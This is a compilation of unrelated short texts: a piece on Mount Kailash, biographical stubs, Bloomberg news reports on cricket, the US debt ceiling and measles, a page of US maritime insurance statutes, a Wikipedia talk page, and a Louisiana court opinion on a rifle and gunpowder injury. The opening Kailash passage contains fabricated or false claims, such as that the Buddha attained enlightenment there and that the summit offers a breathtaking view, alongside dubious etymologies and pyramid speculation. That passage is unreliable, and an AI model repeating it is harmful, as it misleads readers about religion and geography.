Mount Kailash, according to Russian experts, is excessively flawless and symmetrical, with very perpendicular sides that give it the impression of a pyramid. They speculated that the mountain may not be a mountain at all, but rather a massive man-made pyramid from ancient times. The theory was proposed after scientists found evidence of recent glaciation on its northern side.
More than this, however, even the most ardent supporters of the theory don't really know for sure how the mountain was created. Some say it is the work of demons, others claim it was made by gods, but nobody knows for sure. What we do know is that it has been the object of many myths and legends for thousands of years.
Mt. Kailash is one of the most important places in the world for Buddhism. It is the place where Buddha achieved enlightenment under the bodhi tree and it is also considered as his post-enlightenment home. Therefore, it makes sense that people would want to worship at the site of his achievement.
Even though there are many sacred sites across Asia connected to Buddhism, Mount Kailash is the most famous one. The view from the top is breathtaking!
According to some sources, the name "Kailas" means "black" in Sanskrit. Another interpretation says it comes from the word "kaku", which means "horn" in Tibetan.
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FINEWEB-EDU
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Seyed Naser Mousavi Largani
Seyed Naser Mousavi Largani was Falavarjan's representative in Islamic Consultative Assembly from 2008 to 2024.
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WIKI
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-- Australia Picks Haddin, Rogers to Fill Ashes Leadership Void
Australia picked two 35-year-olds
to plug an experience gap for its Ashes cricket series in
England, choosing Brad Haddin as first-choice wicketkeeper and
vice-captain, and recalling batsman Chris Rogers . Haddin, who only returned to the national squad last month
following more than a year out, was appointed as captain Michael Clarke ’s deputy after Shane Watson stood down last week. All-
rounder James Faulkner was included for the first time in a 16-
man squad also featuring the recall of fast bowler Ryan Harris. “In regards to the vice-captaincy, we feel it’s important
to have a senior, seasoned player support Michael at this
time,” National Selector John Inverarity said today in a
statement. “When Shane Watson advised of his decision to stand
down, the panel viewed Brad as the exceptional candidate to step
into this leadership void.” Australia ’s Test team, which suffered its first 4-0 sweep
of losses since 1970 in India last month, is scheduled to take
on England in back-to-back five-match series this year, in the
U.K. beginning July 10 and then at home from Nov. 21. After winning eight straight Ashes contests between 1989
and 2003, Australia lost three of the past four and faces the
prospect of losing three series in a row against its archrival
for the first time since 1956. England is the 4-9 favorite to
win on home soil, according to U.K. bookmaker William Hill,
which makes Australia the 7-2 outsider. “With this squad, we have the talent, the experience and
the youth to go over there and have success,” Clarke, 32, said
at a televised news conference in Sydney. “We know how we let
ourselves down and let the Australian public down by the way we
performed in India. We’ve got a lot of work to do.” Preferred Keeper Haddin spent almost 14 months out of the team after being
usurped as first-choice gloveman by Matthew Wade . Haddin flew to
India as a late injury replacement for Wade for the third Test
and his Ashes squad selection is as a wicketkeeper first and
vice-captain second, Inverarity said. Wade will be his backup. “The firm intention at this stage is that Brad is our
preferred keeper for the Ashes,” Inverarity told reporters in
Sydney. “Matthew Wade remains very highly regarded.” Rogers returns to the national squad five years after
playing his only Test against India. The left-handed opener has
scored more than 5,000 first-class runs during the past four
seasons playing in England for Derbyshire and Middlesex, with 17
centuries and an average of 52.3. The younger batsmen in the team may also benefit from his
know-how following the retirements of Ricky Ponting , Australia’s
all-time leading run-scorer, and middle-order mainstay Michael Hussey during the Australian summer, Inverarity said. “With Michael and Ricky going, there is a gap in
experience,” he said. “Chris sort of nicely fills that. He’s
made nearly 20,000 first-class runs.” ‘Competitive Cricketer’ Faulkner, 22, was elevated to the elite Test squad after
taking 125 wickets at 22.34 in 34 first-class matches for his
Tasmania state team. He’s also taken eight wickets at an average
of 26.37 in five one-day internationals, and three wickets at
17.50 in three Twenty20 matches. “James Faulkner has impressed us all in recent seasons as
a very competitive cricketer who gets things done,” Inverarity
said. “His batting has improved significantly, he’s made runs,
forms partnerships and is always lurking and taking a wicket.” Usman Khawaja was chosen among the seven specialist batsmen
ahead of Steven Smith , while Mitchell Johnson , Glenn Maxwell,
Xavier Doherty and Moises Henriques were left out having also
toured India. Watson was picked as a batting all-rounder, while Nathan
Lyon is the sole specialist spin bowler in the squad, which has
scope for the addition of more players. “We have full flexibility from Cricket Australia to add to
the squad for fitness or form, or for any other sort of need
that we might have,” Inverarity said. “We’re very comfortable
with that.” AUSTRALIA SQUAD: Michael Clarke (captain), Brad Haddin
(vice-captain), Jackson Bird, Ed Cowan , James Faulkner, Ryan
Harris, Phil Hughes, Usman Khawaja, Nathan Lyon, James
Pattinson , Chris Rogers, Peter Siddle , Mitchell Starc, Matthew
Wade, David Warner, Shane Watson . To contact the reporter on this story:
Dan Baynes in Sydney at
dbaynes@bloomberg.net To contact the editor responsible for this story:
Christopher Elser at
celser@bloomberg.net
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NEWS-MULTISOURCE
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Norm Glockson
Norman Stanley Glockson (June 15, 1894 – August 5, 1955) was an American Major League Baseball catcher and National Football League (NFL) guard.
Glockson played in seven games for the Cincinnati Reds in 1914. He also played in one game for the Racine Legion football team in 1922.
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WIKI
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Page:United States Statutes at Large Volume 120.djvu/1660
PUBLIC LAW 109–304—OCT. 6, 2006
120 STAT. 1629
‘‘(c) PRESIDENTIAL APPROVAL.—The signature of the President (or an official designated by the President) on the agreement shall be treated as the approval required by section 53902(a) of this title. ‘‘§ 53906. Hull insurance valuation ‘‘(a) STATED VALUATION.—The valuation in a hull insurance policy for actual or constructive total loss of the insured vessel shall be a stated valuation determined by the Secretary of Transportation. The stated valuation— ‘‘(1) shall exclude national defense features paid for by the United States Government; and ‘‘(2) may not exceed the amount that would be payable if the ownership of the vessel had been requisitioned under chapter 563 of this title at the time the insurance attached under the policy. ‘‘(b) REJECTING STATED VALUATION.—Within 60 days after the insurance attaches under a policy referred to in subsection (a) or within 60 days after the Secretary determines the valuation, whichever is later, the insured may reject the valuation and pay, at the rate provided in the policy, premiums based on the asserted valuation the insured specifies at the time of rejection. However, the asserted valuation is not binding on the Government in any subsequent action on the policy. ‘‘(c) AMOUNT OF CLAIM.—If a vessel is actually or constructively totally lost and the insured under a policy referred to in subsection (a) has not rejected the stated valuation determined by the Secretary, the amount of a claim adjusted, compromised, settled, adjudged, or paid may not exceed the stated valuation. However, if the insured has rejected the valuation, the insured— ‘‘(1) shall be paid, as a tentative advance only, 75 percent of the stated valuation; and ‘‘(2) may bring a civil action against the United States in a court having jurisdiction of the claim to recover a valuation equal to the just compensation the court determines would have been payable if the ownership of the vessel had been requisitioned under chapter 563 of this title at the time the insurance attached under the policy. ‘‘(d) ADJUSTING PREMIUMS.—If a court makes a determination as provided under subsection (c)(2), premiums paid under the policy shall be adjusted based on the court’s determination and the rates provided for in the policy. ‘‘§ 53907. Reinsurance ‘‘(a) IN GENERAL.—To the extent the Secretary of Transportation is authorized to provide insurance under this chapter, the Secretary may provide reinsurance to a company authorized to do insurance business in a State of the United States. The Secretary may obtain reinsurance from such a company for any insurance provided by the Secretary under this chapter. ‘‘(b) RATES.—The Secretary may not provide reinsurance at rates less than, nor obtain reinsurance at rates more than, the rates established by the Secretary on the same or similar risks or the rates charged by the insurance company for the insurance reinsured, whichever is more advantageous to the Secretary. However, the Secretary may provide an allowance to the insurance
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Debt-Cap Failure ‘Collective Insanity’: Citigroup
A U.S. debt default triggered by the
failure of politicians to agree to raising the country’s debt
ceiling would be an “act of collective insanity” with severe
impact on assets prices and the global economy, according
Citigroup Inc. (C) economists. The prospect of a default by the U.S. government, while
still remote, is no longer negligibly small, wrote Citigroup
Global Markets economists led by Willem Buiter . A default would
“severely” damage the country’s role as an international
financial power and as provider of the world’s reserve currency,
they said. The political division is so wide that there is
little chance of a meaningful agreement on addressing the long-
term debt problem any time soon, making a downgrade of the
country’s AAA credit rating “likely.” “A default because of a failure to raise the Federal debt
ceiling would be an act of collective insanity,” Buiter,
London-based chief economist for Citigroup, wrote in a note
dated July 28. “The implications of even a technical U.S.
default are likely to be severe both for the U.S. and the world
economy, involving a widespread rise in public and private
funding costs, a generalized fall in asset prices, and a large
hit to economic growth.” House Republican leaders scrapped a vote on the debt-
ceiling bill Thursday night in Washington , indicating that
Speaker John Boehner is short of votes needed to pass his bill
amid a vow by Senate Democrats to defeat the measure. The delay
fueled concern that a compromise by the two parties won’t be
reached before the Aug. 2 deadline for a possible U.S. default. To contact the reporter on this story:
Nick Gentle in Hong Kong at
ngentle2@bloomberg.net To contact the editor responsible for this story:
Nick Gentle at
ngentle2@bloomberg.net
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NEWS-MULTISOURCE
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-- Dutch Soccer Fans Advised to Get Measles Jab for Championship
Dutch soccer fans planning to travel
to European Championship matches in Poland and Ukraine in June
and July should make sure they’re vaccinated against measles,
the Netherlands’ Ministry of Public Health said. Ukraine, which organizes the soccer championship together
with Poland from June 8 to July 1, is suffering from a measles
epidemic in the country’s west near the border with its co-host,
the ministry wrote on its website today. Measles is one of the most infectious viruses for humans.
More than 6,000 cases have been reported in Ukraine this year
and the epidemic is expected to accelerate in the run up to the
start of the matches in June, according to the Stockholm-based
European Centre for Disease Prevention and Control. “Most Dutch people are well protected against measles,”
the ministry’s National Institute for Public Health and
Environment said. “The advice therefore applies to people who
haven’t been vaccinated against measles and who haven’t had the
disease in the past.” Since 1976, all Dutch children are offered a jab against
measles, mumps and rubella through a national vaccination
program, while before the program almost all children were
exposed to the disease naturally, building up lifelong immunity,
according to the ministry. The European Championship, known as Euro 2012 for this
year’s edition, is one of soccer’s biggest tournaments after the
World Cup . It attracted about 1 million spectators in 2008 when
it was held in Austria and Switzerland . Travellers to Ukraine are also advised to vaccinate against
hepatitis A and diphtheria, tetanus and polio, according to the
notice. Rabies circulates in both Poland and Ukraine, and
travellers should avoid contact with cats and dogs, it said. To contact the reporter on this story:
Rudy Ruitenberg in Paris at
rruitenberg@bloomberg.net . To contact the editor responsible for this story:
Claudia Carpenter at
ccarpenter2@bloomberg.net
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Talk:Actes et documents du Saint Siège relatifs à la Seconde Guerre Mondiale
Inclusions and Omissions
In the third paragraph the line "extensively listed the data revieved by the Vatican". Is the word revieved supposed to be reviewed? released? Not sure.. --Travver (talk) 06:05, 3 October 2012 (UTC)
Language
It sounds French to me. Not Latin. Andries 21:57, 7 January 2007 (UTC)
* My bad. Savidan 22:24, 7 January 2007 (UTC)
+Online availability
It's seem very relevant that this material is now online. So I do think it deserves it's own section to draw the reader's attention to them. Also, when I put in the entry, it was only nine volumes. I checked again, and it's still Vols. 1-9. I'm assuming they haven't completed the digitized versions of Vols. 10 & 11. Also, when you access a volume, its entire contents is downloaded. It takes a few minutes even if you have a high-speed connection, but it's not an eternity (i.e. more than a few minutes.)Bronxpolwatcher (talk) 06:50, 27 March 2010 (UTC)
* Per WP:EL links should not be in the body of the article. I have downloaded all 11. They appear complete. Low-resolution, grainy, and near incomprehensible, but complete. Savidan 06:52, 27 March 2010 (UTC)
Phayer a secular historian?
How is Michael Phayer a "secular" historian? I understand that he is Catholic himself. Does secular that he is not a cleric? Others would assume by secular that he is not Catholic or religious.
The way he's put in in the Graham reads like a cheap shot. If Graham helped produce these volumes, which are primary source documents, then how can he be accused of "neglecting the context"? If the comment refers to Graham's other work such as his books and articles, then a better place for it is in the Graham article. From what I understand, Phayer's own work is controversial and has been criticized.Bronxpolwatcher (talk) 06:50, 27 March 2010 (UTC)
* I have removed the word "secular". Savidan 06:53, 27 March 2010 (UTC)
External links modified
Hello fellow Wikipedians,
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Earl H. HINES, Jr. and Beverly Helms Hines, Plaintiffs-Appellants, v. REMINGTON ARMS COMPANY, INC., and Sinclair, Inc., Defendants-Appellees.
No. 92-941.
Court of Appeal of Louisiana, Third Circuit.
Nov. 3, 1993.
Opinion Amending Decree on Rehearing Jan. 25, 1994.
Louis D. Bufkin, Lake Charles, Jennifer J. Bercier, J.B. Jones Jr., Cameron, for Earl H. Hines Jr. etc.
John B. Scofield, Patrick Donavon Gal-laugher Jr., Lake Charles, for Hodgon Powder Co.; Admiral Ins.
John Stanton Bradford, Jeanne Marie Sie-vert, Lake Charles, for State Farm.
Before LABORDE, THIBODEAUX, SAUNDERS and WOODARD, JJ., and CULPEPPER , J. Pro Tern.
Honorable William A. Culpepper, retired, participated in this decision by appointment of the Louisiana Supreme Court as Judge Pro Tempore.
THIBODEAUX, Judge.
This is a products liability case. Plaintiffs, Earl Hines, Jr. and his wife, Beverly, appeal a jury verdict in favor of defendants, Sinclair, Inc., Hodgdon Powder Company and Admiral Insurance Company. Mr. Hines was injured when his rifle accidentally fired into a gunpowder canister. The jury determined that Mr. Hines’s bench rest target rifle, manufactured by Sinclair, and the gunpowder, manufactured by Hodgdon, were not defective, and relieved defendants of any responsibility. For the following reasons, we reverse the jury verdict and the trial court’s decision to exclude evidence on failure to warn. We render judgment for Earl and Beverly Hines against all defendants and award damages and attorney’s fees.
ISSUES
We shall consider the following issues raised by the plaintiffs’ appeal:
1) Whether the jury was manifestly erroneous in finding the Sinclair rifle was not defective.
2) Whether the trial judge erred in refusing to charge the jury on the alleged negligence of Sinclair and Hodgdon.
3) Whether evidence that Hodgdon failed to warn, or inadequately warned, users of the dangerous characteristics of its product was erroneously excluded by the trial judge.
4) Whether the jury was manifestly erroneous in failing to find that the Hodg-don powder was unreasonably dangerous in design.
5) Whether the trial judge erred in not excluding evidence of plaintiff fault.
Hodgdon and Admiral also appeal and raise these issues:
1) Whether their third party demand against Sinclair should be recognized.
2) Whether the action against them has prescribed.
FACTS
On February 29, 1984, while Earl Hines was seated at his loading bench, his new Sinclair aceurized bench rest target rifle rested on the bench top and pointed at the wall against which the bench was pushed. Along the back of the bench were several canisters of gunpowder. The barrel of the rifle was six to eight inches from a cardboard canister of H4895 Hodgdon powder.
Mr. Hines was testing the fit of a cartridge in the rifle’s chamber. He inserted a live cartridge into the breech, shifted the bolt forward into the chamber, closed the bolt, and the rifle fired. The gunpowder was somehow ignited and the room erupted into flámes. He managed to escape by crawling over the room’s only door, which had been blown off its frame.
The incident left him badly burned and his necessary stay in the hospital led to further complications, all of which resulted in permanent injury. He suffered severe property damage as well. As a result, the Hineses brought suit against Sinclair, Inc. and later amended their suit to add Hodgdon Powder Company, Inc. and Admiral Insurance Company, Hodgdon’s insurer. Remington Arms Company, Inc. was also a named defendant but was dismissed on summary judgment. See, Hines v. Remington Arms Company, Inc., 522 So.2d 152 (La.App. 3d Cir.), writ denied, 524 So.2d 522 (La.1988). Sinclair did not answer the petition or appear at trial to defend against the claim. After the jury verdict in defendants’ favor, this appeal followed.
ANALYSIS
Issue One
The Hineses contend the jury was clearly wrong in finding the Sinclair rifle not defective. Specifically, they argue that the rifle’s trigger mechanism has a propensity to “follow down fire,” which makes it unreasonably dangerous, that the evidence more than proved this defect and that the jury ignored the clear, objective proof.
It is well established law that questions of fact are the province of the jury. Its factual conclusions are entitled to great deference. However, if an appellate court finds objective evidence to the contrary, after a complete review of the record, jury conclusions may be overturned. Stobart v. State Through DOTD, 617 So.2d 880 (La.1993); Rosell v. ESCO, 549 So.2d 840 (La.1989). Therefore, it is incumbent upon this court to review the entire record before us to determine if the jury was clearly wrong in finding no defect.
The rifle involved in the accident is a duplicate of one Mr. Hines purchased from Sinclair three years prior to the accident. After firing approximately two thousand rounds from the first, he decided to buy the second. Both were purchased exclusively for competition target shooting.
The Sinclair rifle is an amalgam of parts from various other manufacturers that are assembled and modified by Fred Sinclair, the company’s owner, for maximum accuracy in bench rest shooting. Significant modifications are the lack of a trigger safety and the extremely sensitive trigger pull. The purpose of the sensitive trigger pull is to reduce the tension required to fire the rifle, which in turn reduces the movement of the gun when the trigger is pulled and increases the precision of the shot. Whereas a hunting rifle, for example, could have a trigger pull from four to six pounds, the Sinclair rifle used by Mr. Hines had a pull of only two ounces.
The trigger used on the rifle was known as a “Burns” trigger. Apparently, it was very popular. Sinclair testified that:
“Everybody wanted a Burns trigger. One of the reasons you wanted a Burns trigger is because it was light, and it was safe, and it was reliable, and it was just at that time the best trigger going ...
* * * * * *
It [has] the proper pull, it is a safe trigger, it is reliable and lasts forever.”
The trigger’s sensitivity is the subject of the defect claim. The Hineses contend that the Sinclair rifle trigger mechanism was unreasonably dangerous — therefore defective— because it “follow down fired.” “Follow down firing” occurs when a cartridge is discharged merely by shifting it into the chamber and without the trigger being pulled. The defect was initially argued as one in either construction or design, which it may or may not be. Nevertheless, it is unnecessary to discuss those possibilities as we hold that the Sinclair rifle is unreasonably dangerous per se.
This incident took place before the enactment of the Louisiana Products Liability Act. Accordingly, we look to products liability law prior to the act, starting with Halphen v. Johns-Manville Sales Corp., 484 So.2d 110 (La.1986).
In Halphen, the court examined the theories of recovery in products liability claims and set forth elements that must be proven under each theory. Foremost was the court’s recognition of a theory based on products classified as “unreasonably dangerous per se.” The court defined “unreasonably dangerous per se” as such:
“A product is unreasonably dangerous per se if a reasonable person would conclude that the danger-in-fact of the product, whether foreseeable or not, outweighs the utility of the product.” (Footnote omitted). Id. at 114.
The court stated that the purpose of the theory is to evaluate the product, utilizing the danger-utility test, without regard to the manufacturer’s knowledge or perceptions of the possible dangers of the product.
The danger-utility test, or risk-utility test as it is otherwise known, requires a “weighing of the danger-in-fact of a product to society as a whole against the utility of the product to society as a whole.” Sharkey v. Sterling Drug, Inc., 600 So.2d 701, 707 (La.App. 1st Cir.), writ denied, 606 So.2d 1099, 1100 (La.1992). The test is not limited to a particular subclass of consumer or user. Sharkey, supra; see also, Brown v. Sears, Roebuck and Company, 516 So.2d 1154 (La.1988). As applied to the present case, we must look beyond those persons generally involved in the sport of target shooting and weigh the benefits and negatives of the Sinclair rifle as it affects society as a whole.
Under the danger-utility test, the danger posed by the Sinclair rifle is quite obvious. Both sides agree that, because of the sensitive trigger pulls, some target rifles are subject to accidental discharges, either by “follow down firing” or by simply jarring or jostling them. Defense experts testified that these hazards are commonly known among those who compete in bench rest competitions. In fact, concern for safety at competitions is so great that stringent rules require the rifle bolts be removed until it is time to actually fire at the target. Failure to comply results in instant disqualification. Such caution by experienced rifle users underscores the inherent danger in bench rest rifles.
There is no need to belabor the point that all firearms can be dangerous and have the potential to cause great harm. However, that potential does not make all firearms unreasonably dangerous per se. Nevertheless, a rifle with a firing mechanism so sensitive that it has a propensity to fire accidentally, coupled with the lack of a safety mechanism, makes that rifle highly dangerous to society as a whole.
As far as its utility in society, we are not . convinced it outweighs the danger. The evidence established that target rifles are used only for competition. They are not used for hunting, so they do not provide food. They are not used for protection, so they do not provide security. While we recognize the value of rifles with sensitive triggers to the competitive shooter, that value does not extend to society in general. The danger that an accidental discharge might injure or kill someone is far superior to any benefit society might derive from a sensitive trigger pull. Consequently, we hold that the Sinclair rifle is unreasonably dangerous per se.
The jury found no defect in the rifle. On its face it would seem our ruling reverses a finding of fact. Belying this appearance, however, is the law which generated our holding. Products liability law is difficult for those trained to understand its intricacies and it must appear extremely complex to the layman. Wflien the law was applied to the objective evidence, it clearly established that the Sinclair rifle was unreasonably dangerous per se. This court is not substituting its own findings for those of the jury. Rather, our conclusion is the only conclusion that could be reached when the law and evidence are looked at as a whole. Therefore, while it appears the jury ignored the evidence presented, we believe the true error to be a misapplication of the law provided.
Issue Two
The second issue concerns an alleged error on the part of the trial judge in failing to charge the jury on the negligence of both Sinclair and Hodgdon. We have reversed the jury decision in favor of Sinclair, rendering this issue moot as to it. Likewise, we will grant the Hineses relief against Hodg-don on other grounds, making it unnecessary to address this issue.
Issue Three
A. Exclusion of Evidence
This issue concerns, the trial court’s evidentiary ruling that excluded all evidence pertaining to a “failure to warn” cause of action against Hodgdon. The Hineses alleged in their first supplemental and amending petition that, among other things, Hodg-don was responsible for the injuries to them by virtue of its failure to warn of the dangers inherent in its gunpowder. In 1989, Hodg-don and Admiral filed a motion for partial summary judgment on that issue. The judge presiding over the hearing converted the summary judgment to a motion in limine, ruled in favor of Hodgdon, and prohibited the presentation of any evidence or testimony before the jury concerning the manufacturer’s failure to warn. The Hines’s application for writs was denied.
In 1991, the Hineses filed a motion to set aside the trial court’s earlier ruling and reopen the issue of failure to warn. After a hearing, this time before the trial judge, the motion was dismissed. The trial judge concluded that Hodgdon had no duty to warn, as Mr. Hines was a sophisticated user who, by his own admission, was aware of the dangers that might arise from firing a rifle into a canister of gunpowder. Counsel for Mr. and Mrs. Hines conceded that a duty to warn under that scenario did not exist, but argued, instead, that Hodgdon breached a duty to adequately instruct users regarding safe and proper storage. The trial judge was not persuaded.
The argument rejected by the trial judge was that Hodgdon knew of, and recommended, a proper method of storing its powder but failed to make this method known to its users. At the time of the accident, Hodg-don published a manual which suggested storing its powder in a wooden box, known as a “powder magazine.” This manual was available by request at a cost of $25.00. The label on the canisters of powder made no reference to proper storage methods, nor did it inform the user of the existence of the manual or the instructions therein.
The Hineses introduced evidence of Hodg-don’s alleged failure to warn as an offer of proof, outside the presence of the jury. They argue now that they were wrongfully denied the right to present their primary case against Hodgdon because of the exclusion of this evidence. We agree.
The standard of review of evidentiary rulings is “abuse of discretion.” Citizens Bank and Trust v. Consolidated Terminal Warehouse, Inc., 460 So.2d 663 (La.App. 1st Cir.1984). The trial judge excluded the evidence because he found no duty to warn Mr. Hines and, also, under LSA-C.E. art. 403, the prejudicial effect of the evidence far exceeded its probative value because it had the potential to confuse and mislead the jury.
Hodgdon, as manufacturer of the gunpowder, has a duty to warn of dangers inherent in the normal use of the product which are not obvious or known to the ordinary user. Winterrowd v. The Travelers Indemnity Co., 462 So.2d 639 (La.1985); Halphen, supra. This includes providing instructions to prevent the misuse of its product. Brumley v. Firestone Tire & Rubber Co., 459 So.2d 572 (La.App. 3d Cir.), writ denied, 462 So.2d 1267 (La.1984). For the warning or instruction to be adequate, it must be expressed with an intensity proportionate to the danger inherent in the product. Ducote v. Liberty Mutual Insurance Co., 451 So.2d 1211 (La.App. 4th Cir.), writ denied, 457 So.2d 15 (La.1984). Our examination of the record reveals that Hodgdon’s warnings were not manifested with sufficient clarity to instruct Hines of the dangers involved and the need to exercise more prudent use of the sensitive instrument. See, e.g., Bloxom v. Bloxom, 512 So.2d 839 (La.1987).
There is no duty to warn a user of a danger that is obvious or of common knowledge. Neither is there a duty to warn a user, sometimes defined as a “sophisticated user,” who, through his familiarity with the product, is presumed to know its dangers. Whitacre v. Halo Optical Products, Inc., 501 So.2d 994 (La.App.2d Cir.1987); Ducote, supra; Winterrowd, supra. Hodgdon argues that Mr. Hines is a “sophisticated user” of guns, with enough experience to certainly contemplate the ramifications of firing a rifle into a canister of gunpowder. It argues that the canister labels sufficiently warned of the flammable nature of the product and, furthermore, the product did not react in a way that was unexpected considering the circumstances.
This argument misses the point of the claim. The Hineses sought to prove that Hodgdon knew of a safe method of storing gunpowder — a method not common knowledge among users of the product—and failed to sufficiently convey this method to its users. The trial judge misconstrued the import of this theory.
In failure to warn eases, there must be a reasonable relationship between the omission of the warning and the injury suffered by plaintiff. Gauthier v. McDonough Power Equipment, Inc., 608 So.2d 1086 (La.App. 3d Cir.1992). Mr. and Mrs. Hines offered evidence of the following: (1) that Hodgdon was aware of a safe storage method for its gunpowder; (2) that this method was not obvious or generally known; (3) that Mr. Hines was not aware of this method; (4) that Hodgdon did not make the information readily available; and, (6) that had Mr. Hines been made aware of the storage method, the injuries he suffered might never have occurred.
The foregoing evidence was sufficient to establish both a duty by Hodgdon and a reasonable relationship between the lack of warning and the injury suffered.- The trial judge abused his discretion by excluding the evidence and depriving the Hineses an opportunity to have the jury decide the outcome. It is incumbent upon the appellate court to grant relief where the trial court’s abuse of discretion substantially impairs the rights of a party. Guillory v. Guillory, 602 So.2d 769 (La.App. 3d Cir.1992). For that reason, we reverse.
B. De Novo Review
Where the trial judge makes a consequential error in excluding evidence, the judgment of the trial court should be given no weight. We must, after an independent review of the record inclusive of the excluded evidence, determine the outcome of this ease. McLean v. Hunter, 495 So.2d 1298 (La.1986).
The evidence established that it was a Hodgdon powder canister into which Mr. Hines accidentally fired. Defendants did not mount any serious challenge to that contention and, in fact, its own experts indicated that the results would have been much worse had Mr. Hines fired into metal containers holding the powder of other manufacturers. Thus, we turn to the issue of failure to adequately warn.
The focus of the failure to warn evidence was Hodgdon’s duty to instruct users in the method of correct and safe storage of its gunpowder. At the time of the accident, the label on a canister of H4895 stated: “Store in Cool, Dry Place.” Additionally, Hodgdon produced a manual containing specifications for reloading cartridges. This manual instructed that its powder should be stored in a wooden cabinet, and gave instructions on how to build it. The manual was available at a cost of $25.00. Subsequent to the accident, the canister label was changed to say:
“Read safe usage and storage instructions in our FREE BOOKLET or in our complete DATA MANUAL available from ... HODGDON POWDER COMPANY.”
Obviously, Hodgdon found it necessary to inform its users of safe storage instructions as it substantially changed its warning and made the instructions available for free. By doing so, it showed its knowledge of the need for safe storage instructions and it demonstrated the ease and cost effectiveness of supplying such information.
Hodgdon knew of the potential dangers of improper storage or it would never have bothered to provide any instructions. However, it did not adequately convey these instructions to its users, by either direct warning on the label of the canisters or by reference to proper storage instructions, as it did subsequent to the accident.
Mr. Hines did not know and could not have been expected to know the dangers of storing powder in the fashion in which he did. He had seen powder stored in that manner before. Indeed, if he had looked in the Hodg-don manual containing the original storage instructions, he might have seen the picture of a reloading bench with gunpowder stacked along one side in a fashion similar to the way his was.
Mr. Hines owned the Hodgdon manual at the time of the accident but did not use it. It contained no reloading specifications for the cartridges he used. The very fact that he had the manual did not suffice as warning, as there was nothing on the canister or the manual to draw his attention to the need for instructions on safe storage. Moreover, the manual, given the picture of the reloading bench, at best provided conflicting information.
Hodgdon had knowledge of the dangers inherent in the improper storage of its powder yet failed to provide a warning sufficient to relay the information to consumers. Mr. Hines was unaware of the proper storage methods and these methods were not obvious to the general user. Had Mr. Hines stored the Hodgdon powder in a wooden box, the results of the accidental firing of the Sinclair rifle would have been much less severe, if they would have occurred at all. Consequently, we find that Hodgdon is at least partially liable for plaintiffs’ damages.
Issues Four and Five
It is not necessary that we address these issues as our decision on Issues One and Three is dispositive of the case.
Allocation of Fault
As we have found both Sinclair and Hodgdon liable, we turn to the task of expressing liability in percentages of fault. The Hineses urge that we should not apply comparative fault, under the reasons articulated in Bell v. Jet Wheel Blast, 462 So.2d 166 (La.1985). The court in Bell refused to apply contributory negligence principles to plaintiffs recovery in a products liability case. In that case, plaintiff was injured while performing the methodical and monotonous job he was instructed to do. The court reasoned that reducing his recovery would not provide an incentive to future users of the product to do so in a safe and careful manner nor would it encourage manufacturers to make safer products.
This case is distinguishable. Applying comparative fault in this instance may in fact promote the safe and proper use of firearms and gunpowder. Unlike the plaintiff in Bell, Mr. Hines’s involvement in the accident stems from his recreational interest. His use of the target rifle was not required or even regulated. By holding him responsible for his negligent actions, we may remind other firearm users of the potential danger such weapons present.
Mr. Hines’s fault exists primarily in the way in which he chose to test his new Sinclair rifle. The fact that he loaded a target rifle with a live cartridge, in his home, with the barrel six to eight inches from several canisters of gunpowder shows a general disregard for his own safety and the safety of others. We are persuaded by his argument that he had no expectation that the rifle would “follow down fire.” We also believe that he was unaware of a safer method of storing the powder. Nevertheless, it was suggested to him by Fred Sinclair that he try a “dummy round,” or a non-firing cartridge, when testing the size of the rifle chamber. His failure to heed this advice, combined with the manner and venue chosen to test the rifle, makes him partially responsible for his own injuries. We assess his fault at thirty four percent.
The Sinclair rifle has the highly dangerous propensity to accidentally discharge, which makes it unreasonably dangerous per se. It was a very significant cause of Mr. Hines’s injuries. We assess Sinclair’s fault at thirty three percent.
Finally, Hodgdon is thirty three percent at fault for its failure to adequately warn. Had it provided sufficient storage instructions, Mr. Hines’s injuries may have been less severe, if not prevented altogether.
Damages
From the evidence we make the following damage awards:
I. Earl Hines, Jr.:
Medicals.$ 322,450.45
Property Loss.$ 135,678.47
General Damages.$2,000,000.00
TOTAL .$2,458,128.92
II. Beverly Hines
Loss of Consortium.$ 50,000.00
TOTAL .$ 50,000.00
Hodgdon argues that much of the medical problems experienced by Mr. Hines were unrelated to his prolonged stay in the hospital. It claims that, if it is found liable for damages, liability is limited to those injuries directly and specifically related to the accident.
Under a duty-risk analysis, Hodg-don’s duty not to injure Mr. Hines includes the risk that he may experience further harm in the treatment process. Younger v. Marshall Industries, Inc., 618 So.2d 866 (La. 1993); Weber v. Charity Hospital of Louisiana, 475 So.2d 1047 (La.1985). The medical testimony establishes a causal connection between the injuries Mr. Hines suffered in the accident and the complications that arose in the hospital and after his release. The establishment of the causal relationship mandates that Hodgdon is liable for all related damages, including medical bills.
Regarding property damage, the record displays the exact amount paid to the Hineses by their insurer for property loss. This amount is an accurate reflection of the damages and shall be awarded to plaintiffs, subject to the subrogation contract with the insurer.
We now turn to general damages. The record is replete with documentation of the excruciating physical and psychological pain Mr. Hines endured because of the accident. At the time of the accident, he was forty-seven and healthy. He was burned on over thirty percent of his body and left with debilitating physical and cosmetic deformities and nerve damage. He was hospitalized for approximately nine months.
While hospitalized for the burns, he suffered decubitus ulcers—bed sores—so severe that skin grafts were required to cover a broad area on his buttocks where the dead flesh and affected bone had been surgically removed because of their decayed status. The decubitus ulcer also affected nerves in the buttocks region and left him impotent. Because he is unable to control his bladder, he has to use a catheter to urinate. He is unable to walk without a cane or a walker and stays on medication for pain and infection.
Mr. Hines also suffered an injury to his neck which aggravated a degenerative disc disease and necessitated the fusion of neck vertebrae. Furthermore, he suffered a broken hip after being released from the hospital. The break ultimately required hip replacement surgery. The treating physician stated that the break was caused by a weakening of the bones, which is a common occurrence in burn victims who are confined to bed for a prolonged period.
There is ample evidence concerning the damaging psychological effects of the accident. It reveals that after the accident, Mr. Hines suffered from hallucinations, memory loss and bouts of severe depression.
It appears fairly certain that Mr. Hines will have to endure his severely diminished physical and psychological condition for the remainder of his life. According to the testimony of the medical experts, his debilitated status is unlikely to markedly improve.
An award of $2,000,000.00 in general damages is certainly reasonable for the extensive physical and mental injuries suffered by Earl Hines. The record convincingly supports such an award.
Loss Of Consortium Claim Of Beverly Hines
During the course of Mr. Hines’s hospitalization, Beverly Hines spent most of her time with him in the intensive care unit and, according to Dr. Patricia Blakeney, a ' clinical psychologist, experienced heightened levels of anxiety and tiredness. Because of the confinement of her husband, she assumed all responsibility for the management of their personal and business affairs. To that extent, their roles were changed from that previously experienced by them. The assumption of additional duties and the reversal of roles exacerbate the tension felt by injured individuals and their spouses. The changed relationship is very difficult to deal with and Mrs. Hines was placed in the position of having to confront these problems.
